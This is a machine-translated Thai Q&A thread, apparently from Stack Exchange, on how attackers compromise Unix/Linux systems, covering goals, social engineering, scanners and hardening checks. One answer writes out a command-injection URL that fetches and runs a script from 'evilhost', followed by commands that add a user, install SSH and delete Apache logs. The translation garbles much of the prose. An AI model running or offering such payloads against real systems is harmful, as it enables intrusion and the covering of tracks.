ผู้คนแตกระบบ Unix / Linux ได้อย่างไร?


13

ไม่มีฉันไม่ได้มองที่จะเป็นแครกเกอร์หรืออะไรแบบนั้น แต่ฉันพยายามที่จะเข้าใจกระบวนการ (มากกว่าจากมุมมองการเขียนโปรแกรม)

ดังนั้นฉันสมมติว่า (เดา) เป้าหมายหลักของแคร็กเกอร์คือการเข้าถึงรูทเพื่อติดตั้งซอฟต์แวร์ใด ๆ (หรือสคริปต์) ที่เขาเขียนขึ้นใช่ไหม หรืออาจจะติดตั้งโมดูล kernal ของตัวเอง (นั่นเป็นสิ่งที่ไม่ดีไม่ว่าด้วยเหตุผลใด) บุคคลนั้นจะทำสิ่งนี้ได้อย่างไร?

ฉันรู้ว่าผู้คนใช้สคริปต์เพื่อตรวจสอบหาช่องโหว่ ...... แต่ฉันไม่เห็นวิธีและฉันก็ไม่เห็นสิ่งที่พวกเขาทำกับพวกเขาเมื่อพวกเขาพบพวกเขา? พวกเขากำลังตรวจสอบเวอร์ชั่นเพื่อหาช่องโหว่ที่รู้จักกันดี ...... แล้วเมื่อพวกเขาพบหนึ่งช่องโหว่ .......

ฉันรู้ว่ามันฟังดูใหม่มาก แต่ฉันแค่พยายามที่จะเข้าใจว่ามันทำงานอย่างไรเพราะฉันรู้ว่าระบบ Linux / Unix ควรจะมีความปลอดภัยมาก แต่ฉันพยายามที่จะคิดออกว่าใครบางคนจะไปถึง (กระบวนการ) ของการเข้าถึงราก

คำตอบ:


14

มีสาเหตุมากมายที่อาจทำให้ความปลอดภัยของระบบลดลง ในจังหวะกว้าง:

  • ในการใช้ทรัพยากรของระบบ (เช่นส่งสแปม, ปริมาณการส่งต่อ)
  • เพื่อรับข้อมูลในระบบ (เช่นรับข้อมูลลูกค้าจากไซต์อีคอมเมิร์ซ)
  • หากต้องการเปลี่ยนข้อมูลในระบบ (เช่นกำหนดให้เว็บไซต์ปลูกข้อมูลเท็จลบข้อมูล)

บางครั้งสิ่งเหล่านี้ต้องใช้การเข้าถึงรูท ตัวอย่างเช่นการป้อนคำค้นหาที่มีรูปแบบไม่ถูกต้องบนไซต์ที่ไม่ถูกต้องในการป้อนข้อมูลผู้ใช้สามารถเปิดเผยข้อมูลจากฐานข้อมูลของไซต์เช่นชื่อผู้ใช้ / รหัสผ่านที่อยู่อีเมล ฯลฯ

อาชญากรคอมพิวเตอร์จำนวนมากเป็นเพียง "สคริปต์ตัวเล็ก"; คือคนที่ไม่เข้าใจความปลอดภัยของระบบจริง ๆ และอาจไม่ได้รหัส แต่ใช้ประโยชน์จากการเขียนโดยผู้อื่น สิ่งเหล่านี้มักจะปกป้องได้ง่ายเพราะพวกเขาไม่มีความสามารถในการปรับตัว พวกเขาถูก จำกัด ให้ใช้ช่องโหว่ที่รู้จัก (แม้ว่าพวกเขาอาจใช้ประโยชน์จากบอตเน็ต - คอมพิวเตอร์จำนวนมากที่ถูกบุกรุกซึ่งอาจหมายถึงอันตรายจากการโจมตี DDoS)

สำหรับผู้โจมตีที่มีทักษะกระบวนการจะเป็นดังนี้:

  1. คิดออกว่าเป้าหมายคืออะไรและเป้าหมายมีมูลค่า ความปลอดภัย - การบำรุงรักษาหรือการประนีประนอม - เป็นการคำนวณความเสี่ยง / รางวัล สิ่งที่มีความเสี่ยงและมีค่าใช้จ่ายมากขึ้นจะยิ่งได้รับรางวัลมากขึ้นเท่านั้นที่จะต้องทำการโจมตีอย่างคุ้มค่า

  2. พิจารณาชิ้นส่วนที่เคลื่อนไหวทั้งหมดที่มีผลต่อเป้าหมายไม่ว่าจะเป็นตัวอย่างเช่นหากคุณต้องการส่งสแปมคุณสามารถโจมตีเซิร์ฟเวอร์อีเมลได้ แต่อาจเหมาะสมกว่าที่จะไปใช้บริการเครือข่ายอื่น ๆ ตามที่คุณต้องการจริงๆ ต้องการคือการใช้การเชื่อมต่อเน็ตของเป้าหมาย หากคุณต้องการข้อมูลผู้ใช้คุณจะเริ่มดูที่เซิร์ฟเวอร์ฐานข้อมูลเว็บแอปและเว็บเซิร์ฟเวอร์ที่มีความสามารถในการเข้าถึงระบบที่สำรองข้อมูลเป็นต้น

    ไม่เคยลดปัจจัยมนุษย์ การรักษาความปลอดภัยระบบคอมพิวเตอร์นั้นง่ายกว่าการรักษาความปลอดภัยของพฤติกรรมมนุษย์ การให้ใครสักคนเปิดเผยข้อมูลที่ไม่ควรใช้หรือเรียกใช้โค้ดที่ไม่ควรมีทั้งง่ายและมีประสิทธิภาพ ในวิทยาลัยผมได้รับรางวัลเดิมพันกับเพื่อนคนนั้นทำลายส่วนร่วมในเครือข่ายขององค์กรของเขา Uber ปลอดภัยโดยสวมเครื่องแต่งกายที่เปิดเผยและใช้ในการรองประธานกลัดมัน - การความเชี่ยวชาญทางเทคนิคของเพื่อนของฉันห่างไกลในแง่ของฉัน แต่ไม่มีอะไรสำคัญกว่าอำนาจของ 17yo ที่ ร่วมในกระโปรงสั้น!

    หากคุณไม่มีนมลองเสนอเกมที่ไร้จุดหมายหรือสิ่งที่คนโง่จะดาวน์โหลดเพื่อความสนุกสนานโดยไม่คำนึงถึงสิ่งที่มันกำลังทำอยู่

  3. ดูแต่ละส่วนที่คุณระบุและพิจารณาสิ่งที่สามารถทำได้และวิธีการที่อาจถูกปรับแต่งเพื่อทำสิ่งที่คุณต้องการ - บางทีฝ่ายช่วยเหลือจะรีเซ็ตรหัสผ่านสำหรับผู้ใช้บ่อยครั้งโดยไม่ระบุผู้โทรอย่างถูกต้อง รับรหัสผ่านของคนอื่น บางที webapp จะไม่ตรวจสอบสิ่งที่ใส่ไว้ในช่องค้นหาเพื่อให้แน่ใจว่าไม่ได้มีรหัสก่อนติดในฟังก์ชั่นที่ใช้งาน การประนีประนอมด้านความปลอดภัยมักเริ่มจากสิ่งที่มีจุดประสงค์เพื่อให้สามารถประพฤติตนในแบบที่ไม่ควร


3
หลังจากอ่านแล้วฉันยังสงสัยเกี่ยวกับข้อมูลที่รองประธานาธิบดีที่มักมากในกามที่จะให้ข้อมูลเกี่ยวกับการสนทนาทั่วไปที่จะชนะเดิมพันนั้น
justin cress

1
@justin: ฉันบอกว่าฉันอยู่ที่นั่นเพื่อดู $ friend re: โครงการโรงเรียน แต่เขาออกจากสำนักงาน ฉันให้ VP แสดงบางอย่างที่น่าสนใจเกี่ยวกับระบบคอมพิวเตอร์และเขาก็ฟุ้งซ่านเกินไปโดยการจ้องที่ฉันเพื่อสังเกตว่าฉันสังเกตเห็นเขาป้อนรหัสผ่านของเขา เขามีสิทธิ์เข้าถึงไดรฟ์ที่ถูกต้องตามกฎหมายซึ่งฉันควรจะเข้าถึงเพื่อชนะการเดิมพัน
HedgeMage

1
ฉันเห็นด้วยอย่างสมบูรณ์วิศวกรรมทางสังคมนั้นง่ายกว่ากองมากเกินไป คุณจะชอบที่เก็บถาวร
Rohan Monga

"ถ้าคุณไม่มีนมลองเสนอเกมที่ไม่มีจุดหมายหรืออะไรซักอย่าง" .. อย่างจริงจังเหรอ? คุณทำให้ทั้งคู่อยู่ในประเภทเดียวกันหรือไม่?! :)
Roopesh Shenoy

2
"ลองเสนอเกมที่ไร้สาระหรือสิ่งที่คนโง่จะดาวน์โหลดเพื่อความสนุก ... " - Ahh ดังนั้นมันจึงเป็นแนวคิดเบื้องหลัง Farmville และ Evony
Shadur

4

ปัจจัยที่ใหญ่ที่สุดคือประเภทของการเข้าถึงที่ผู้โจมตีมี หากพวกเขามีการเข้าถึงทางกายภาพคุณกำลังเมา หากคุณกังวลเกี่ยวกับการเข้าถึงระยะไกลเท่านั้นขึ้นอยู่กับว่าคุณใช้งานอะไรอยู่ การกำหนดค่าที่ดีคือทุกอย่าง เซิร์ฟเวอร์ linux มาตรฐานอาจใช้งาน ftp, ssh, http, https และ mysql SSH นั้นปลอดภัย แต่ฉันจะไม่อนุญาตให้มีการเข้าสู่ระบบรูทและต้องมีรหัสผ่านที่ดีสำหรับทุกบัญชี FTP ได้รับผลกระทบหรือพลาด หากคุณมี VSFTP และ chroot ผู้ใช้ของคุณก็จะปลอดภัยมาก อีกหลายเวอร์ชันมีช่องโหว่ที่ทราบ HTTP น่าจะเป็นพื้นที่เสี่ยงที่สุดของคุณ ข้อกังวลที่ใหญ่ที่สุดของคุณที่นี่คือทุกสิ่งที่ประมวลผลไฟล์ในระบบหรืออัพโหลดไฟล์ไปยังระบบ การฉีด SQL นั้นยากมากหากเว็บไซต์ของคุณทำใน PHP5 กลุ่มนักเรียนด้านความปลอดภัยและตัวฉันเองพยายามใช้การฉีด SQL บนเว็บไซต์ PHP5 ที่ไม่ได้รับอนุญาตเป็นเวลาหลายสัปดาห์และไม่ประสบความสำเร็จ ด้วย MySQL ต้องแน่ใจว่าใช้ผู้ใช้ที่ไม่ใช่รูทและ จำกัด ให้ล็อกอินจากเซิร์ฟเวอร์ Apache ของคุณเท่านั้น

มีปลั๊กอิน Firefox สองคู่เพื่อทดสอบช่องโหว่ของเว็บไซต์: เข้าถึงฉัน xss me และ sql ฉีดฉัน

สิ่งสำคัญบางอย่างที่ฉันมักจะทำในการแข่งขันเพื่อให้แน่ใจว่าการรักษาความปลอดภัยจะทำงาน:

  • netstat - ตรวจสอบพอร์ตและการเชื่อมต่อที่เปิดอยู่
  • w - ผู้ที่เข้าสู่ระบบนานเท่าไหร่
  • ตรวจสอบบันทึกการเข้าสู่ระบบ
  • ประวัติทุบตีสำหรับคำสั่งที่ดำเนินการ
  • ps - คำสั่งที่รันอยู่
  • /etc/passwd สำหรับผู้ใช้พิเศษ
  • /etc/sudoers สำหรับการเข้าถึง sudo

โดยทั่วไปหลังจากได้รับการเข้าถึงผู้โจมตีต้องการรูท ขณะนี้มีช่องโหว่การเพิ่มระดับสิทธิพิเศษบางส่วนซึ่งจะทำให้ผู้ใช้ทั่วไปสามารถรับรูทได้ หลังจากนั้นพวกเขาต้องการเปิดขึ้นเพื่อการเข้าถึงในภายหลังโดยการเพิ่มผู้ใช้และเปิดประตูหลัง

นี่คือเว็บไซต์การป้องกันไซเบอร์ของโรงเรียนของฉัน อย่าลังเลที่จะมองไปรอบ ๆ และถามคำถาม: https://thislink.doesntexist.org/


2

ความปลอดภัยของระบบขึ้นอยู่กับทักษะของผู้ดูแลระบบดังนั้นจึงเป็นเรื่องที่ผิดที่จะพูดว่า "ระบบ Linux / Unix น่าจะปลอดภัยมาก" :)

ตอนนี้ไปเกี่ยวกับการแฮ็ค ... มีเครื่องมือชนิดหนึ่งที่เรียกว่า "โปรแกรมสแกนช่องโหว่ " เช่นNessusที่ค้นหาสิ่งที่จะถูกนำไปใช้ประโยชน์ มีหลายพันสิ่งที่อาจผิดพลาดในระบบที่ซับซ้อนเช่นเซิร์ฟเวอร์ Apache ที่กำหนดค่าผิดเพื่อให้สามารถอัปโหลดไฟล์โดยพลการไปยังที่ใดก็ได้ สิ่งเหล่านี้สามารถใช้เป็นขั้นตอนสำคัญสำหรับการหาประโยชน์เพิ่มเติมเช่นการเข้าถึงฐานข้อมูลหรือบัญชีอีเมลที่สามารถกู้คืนรหัสผ่านผ่านคุณสมบัติ "ลืมรหัสผ่าน"

บางครั้งแฮ็คก็คือการเข้าถึงและทำสิ่งที่ชั่วร้าย บางครั้งคนทำเพื่อความสนุก (ซึ่งโง่ไปตามทาง)

และนี่คือเรื่องราวของแฮ็คชื่อดังที่เพิ่งเกิดขึ้นเมื่อไม่นานมานี้ ฉันคิดว่ามันจะเป็นตัวอย่างให้กับทุกคนที่กำลังมองหาที่ปลอดภัย! หากต้องการอ้างอิงสรุปของการหาประโยชน์:

แอปพลิเคชันบนเว็บที่มีข้อบกพร่องการฉีด SQL และรหัสผ่านที่ไม่ปลอดภัย รหัสผ่านที่เลือกไม่ถูกต้อง รหัสผ่านที่ถูกใช้ซ้ำ เซิร์ฟเวอร์ที่อนุญาตให้ใช้การพิสูจน์ตัวตนด้วยรหัสผ่าน ระบบที่ไม่ได้รับการติดตั้ง และความเต็มใจที่น่าประหลาดใจในการแจกหนังสือรับรองทางอีเมลแม้ว่าบุคคลที่ถูกขอให้พวกเขาควรจะตระหนักว่ามีบางอย่างเกิดขึ้น


1

มีเวกเตอร์การโจมตีมากมายที่ใกล้จะสิ้นสุด หนึ่งในแนวคิดที่ง่ายที่สุดคือการทำให้โปรแกรมเป็นแบบสาธารณะและบอกว่ามันทำสิ่งอื่นนอกเหนือจากที่ทำ ให้คำแนะนำที่เป็นมิตรกับผู้ใช้sudoในช่วงเริ่มต้นและดูโลกที่กำลังเติบโต นี้เกิดขึ้นทุกวันกับโปรแกรมมาปิดเพราะมันทำไม่ได้สำหรับคนเพียงคนเดียวที่จะตรวจสอบการทำงานของมันก่อนเท่าที่เห็นด้วยเช่นโซนี่ซีดี

คุณสามารถลองส่งสตริงพิเศษไปยังรีโมตโฮสต์ สำหรับตัวอย่างระดับสูงสมมติว่าคุณมีเว็บเซิร์ฟเวอร์ที่มีซอฟต์แวร์บางตัวทำงานอยู่และซอฟต์แวร์นั้นรันบางส่วนของ URL เป็นคำสั่งโดยไม่มีการยกเว้นหรือรับรองว่าจะไม่ทำอันตรายใด ๆ http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.shส่งสิ่งที่ต้องการ ถอดรหัสสตริงการค้นหาจะกลายเป็น ถ้านั่นคือการเรียกใช้ script.sh จะทำงานด้วยสิทธิ์การเข้าถึงเดียวกันกับผู้ใช้เว็บเซิร์ฟเวอร์ที่จะทำอะไรบนเครื่อง บางครั้งผู้คนปล่อยให้สิ่งเหล่านี้ทำงานในฐานะรูทเพื่อ "อำนวยความสะดวก" ในกรณีนี้คำพ้องความขี้เกียจและ / หรือความไร้เหตุผล แม้ว่าจะไม่ได้รันในฐานะรูทสคริปต์นั้นก็สามารถรันการทดสอบหลายพันครั้งสำหรับรูอื่น ๆ ในซอฟต์แวร์ที่ติดตั้งและรันคำสั่งอื่นหากพบหนึ่งรายการ ยกตัวอย่างเช่นคำสั่งสุดท้ายนั้นfoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.logเพื่อรับการเข้าถึง SSH และลบร่องรอยของการทำลาย

[คำสั่งนั้นง่ายขึ้นอย่างเห็นได้ชัดและอาจไม่ทำงานอยู่ดี YMMV]

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.